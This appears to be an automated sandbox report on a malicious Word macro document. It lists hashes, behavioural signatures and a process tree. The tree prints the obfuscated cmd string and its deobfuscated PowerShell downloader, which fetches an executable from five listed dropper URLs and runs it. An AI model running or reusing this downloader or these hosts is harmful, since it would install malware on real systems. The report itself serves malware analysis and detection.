Overview

overview

10

Static

static

8

d00ea82048...b3.doc

windows7_x64

10

d00ea82048...b3.doc

windows10-2004_x64

10

Analysis

  • max time kernel
    103s
  • max time network
    48s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    01-07-2022 03:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    d00ea82048586132558cad674d9094f495527202fccddcc84d30b365699839b3.doc

  • Size

    102KB

  • MD5

    a8663064c108b10da2ff0398fb6f2118

  • SHA1

    a15725c07c06c3b04aa4436db05391b6c15b3cc6

  • SHA256

    d00ea82048586132558cad674d9094f495527202fccddcc84d30b365699839b3

  • SHA512

    63b61b157bc491a8e23eda63f2c5120575e1c2263cfbad38b06806b3bdcbc2916b62e7a861d3917a0a3feceee7fba422c16c4136c5b268587fda2f8c9aa7e467

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://intraelectronics.com/9CBQqGip_YBdeLeOmn
exe.dropper

http://linkingphase.com/Ye09uJm_1TJzK_0
exe.dropper

http://radwomenbusinessowners.com/pnKAX_FAi9jc
exe.dropper

http://www.motoruitjes.nl/BrG_4Tb3uEk0N
exe.dropper

http://kantova.com/xRVVM3r_gsFZOEnE

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d00ea82048586132558cad674d9094f495527202fccddcc84d30b365699839b3.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1452
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1636
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c %ProgrAMData:~0,1%%ProgRAmdATA:~9,2% /V /r "seT eW8=;'kollawerif'=tfetareneg$}}{hctac}};kaerb;'bmBG'=jnsamehcs$;phelbitapmoC$ metI-ekovnI{ )00008 eg- htgnel.)phelbitapmoC$ metI-teG(( fI;'chlanoigeR'=cvgnizylana$;)phelbitapmoC$ ,rnemil$(eliFdaolnwoD.dvtnuoccAnaoLotuA${yrt{)fznedooW$ ni rnemil$(hcaerof;'exe.'+poerihsdrofdeB$+'\'+cilbup:vne$=phelbitapmoC$;'nhecnailla'=izgnisrap$;'338' = poerihsdrofdeB$;'zlPCT'=ojaniloraChtuoS$;)'@'(tilpS.'EnEOZFsg_r3MVVRx/moc.avotnak//:ptth@N0kEu3bT4_GrB/ln.sejtiurotom.www//:ptth@cj9iAF_XAKnp/moc.srenwossenisubnemowdar//:ptth@0_KzJT1_mJu90eY/moc.esahpgniknil//:ptth@nmOeLedBY_piGqQBC9/moc.scinortceleartni//:ptth'=fznedooW$;tneilCbeW.teN tcejbo-wen=dvtnuoccAnaoLotuA$;'mcesiouqrut'=zlaniloraChtroN$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& fOr /L %0 IN ( 734 , -1 , 0 ) Do sEt El=!El!!eW8:~ %0, 1!& if %0 lss 1 echO !El:~ 4! | FOR /F "tokens=2 delims=wHF" %p IN ('ftype^^^|findstr mdFi')DO %p "
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1980
        • C:\Windows\SysWOW64\cmd.exe
          CmD /V /r "seT eW8=;'kollawerif'=tfetareneg$}}{hctac}};kaerb;'bmBG'=jnsamehcs$;phelbitapmoC$ metI-ekovnI{ )00008 eg- htgnel.)phelbitapmoC$ metI-teG(( fI;'chlanoigeR'=cvgnizylana$;)phelbitapmoC$ ,rnemil$(eliFdaolnwoD.dvtnuoccAnaoLotuA${yrt{)fznedooW$ ni rnemil$(hcaerof;'exe.'+poerihsdrofdeB$+'\'+cilbup:vne$=phelbitapmoC$;'nhecnailla'=izgnisrap$;'338' = poerihsdrofdeB$;'zlPCT'=ojaniloraChtuoS$;)'@'(tilpS.'EnEOZFsg_r3MVVRx/moc.avotnak//:ptth@N0kEu3bT4_GrB/ln.sejtiurotom.www//:ptth@cj9iAF_XAKnp/moc.srenwossenisubnemowdar//:ptth@0_KzJT1_mJu90eY/moc.esahpgniknil//:ptth@nmOeLedBY_piGqQBC9/moc.scinortceleartni//:ptth'=fznedooW$;tneilCbeW.teN tcejbo-wen=dvtnuoccAnaoLotuA$;'mcesiouqrut'=zlaniloraChtroN$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& fOr /L %0 IN ( 734 , -1 , 0 ) Do sEt El=!El!!eW8:~ %0, 1!& if %0 lss 1 echO !El:~ 4! | FOR /F "tokens=2 delims=wHF" %p IN ('ftype^^^|findstr mdFi')DO %p "
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1100
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $NorthCarolinalz='turquoisecm';$AutoLoanAccountvd=new-object Net.WebClient;$Woodenzf='http://intraelectronics.com/9CBQqGip_YBdeLeOmn@http://linkingphase.com/Ye09uJm_1TJzK_0@http://radwomenbusinessowners.com/pnKAX_FAi9jc@http://www.motoruitjes.nl/BrG_4Tb3uEk0N@http://kantova.com/xRVVM3r_gsFZOEnE'.Split('@');$SouthCarolinajo='TCPlz';$Bedfordshireop = '833';$parsingzi='alliancehn';$Compatiblehp=$env:public+'\'+$Bedfordshireop+'.exe';foreach($limenr in $Woodenzf){try{$AutoLoanAccountvd.DownloadFile($limenr, $Compatiblehp);$analyzingvc='Regionalhc';If ((Get-Item $Compatiblehp).length -ge 80000) {Invoke-Item $Compatiblehp;$schemasnj='GBmb';break;}}catch{}}$generateft='firewallok'; "
            4⤵
              PID:1556
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=wHF" %p IN ('ftype^|findstr mdFi') DO %p "
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:652
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ftype|findstr mdFi
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1856
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" ftype"
                  6⤵
                    PID:1540
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr mdFi
                    6⤵
                      PID:1376
                  • C:\Windows\SysWOW64\cmd.exe
                    Cmd
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1812
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell $NorthCarolinalz='turquoisecm';$AutoLoanAccountvd=new-object Net.WebClient;$Woodenzf='http://intraelectronics.com/9CBQqGip_YBdeLeOmn@http://linkingphase.com/Ye09uJm_1TJzK_0@http://radwomenbusinessowners.com/pnKAX_FAi9jc@http://www.motoruitjes.nl/BrG_4Tb3uEk0N@http://kantova.com/xRVVM3r_gsFZOEnE'.Split('@');$SouthCarolinajo='TCPlz';$Bedfordshireop = '833';$parsingzi='alliancehn';$Compatiblehp=$env:public+'\'+$Bedfordshireop+'.exe';foreach($limenr in $Woodenzf){try{$AutoLoanAccountvd.DownloadFile($limenr, $Compatiblehp);$analyzingvc='Regionalhc';If ((Get-Item $Compatiblehp).length -ge 80000) {Invoke-Item $Compatiblehp;$schemasnj='GBmb';break;}}catch{}}$generateft='firewallok';
                      6⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1000

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/1000-82-0x0000000004B50000-0x0000000004C64000-memory.dmp

            Filesize

            1.1MB

            Download

          • memory/1000-81-0x000000006AAA0000-0x000000006B04B000-memory.dmp

            Filesize

            5.7MB

            Download

          • memory/1000-84-0x000000006AAA0000-0x000000006B04B000-memory.dmp

            Filesize

            5.7MB

            Download

          • memory/1452-85-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1452-58-0x0000000070F1D000-0x0000000070F28000-memory.dmp

            Filesize

            44KB

            Download

          • memory/1452-64-0x00000000003A4000-0x00000000003C5000-memory.dmp

            Filesize

            132KB

            Download

          • memory/1452-63-0x00000000003A4000-0x00000000003C5000-memory.dmp

            Filesize

            132KB

            Download

          • memory/1452-65-0x00000000003A4000-0x00000000003C5000-memory.dmp

            Filesize

            132KB

            Download

          • memory/1452-69-0x00000000003A4000-0x00000000003C5000-memory.dmp

            Filesize

            132KB

            Download

          • memory/1452-70-0x00000000003A4000-0x00000000003C5000-memory.dmp

            Filesize

            132KB

            Download

          • memory/1452-86-0x0000000070F1D000-0x0000000070F28000-memory.dmp

            Filesize

            44KB

            Download

          • memory/1452-62-0x00000000003A4000-0x00000000003C5000-memory.dmp

            Filesize

            132KB

            Download

          • memory/1452-83-0x0000000070F1D000-0x0000000070F28000-memory.dmp

            Filesize

            44KB

            Download

          • memory/1452-55-0x000000006FF31000-0x000000006FF33000-memory.dmp

            Filesize

            8KB

            Download

          • memory/1452-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1452-57-0x0000000075EF1000-0x0000000075EF3000-memory.dmp

            Filesize

            8KB

            Download

          • memory/1452-61-0x00000000003A4000-0x00000000003C5000-memory.dmp

            Filesize

            132KB

            Download

          • memory/1452-54-0x00000000724B1000-0x00000000724B4000-memory.dmp

            Filesize

            12KB

            Download

          • memory/1636-60-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp

            Filesize

            8KB

            Download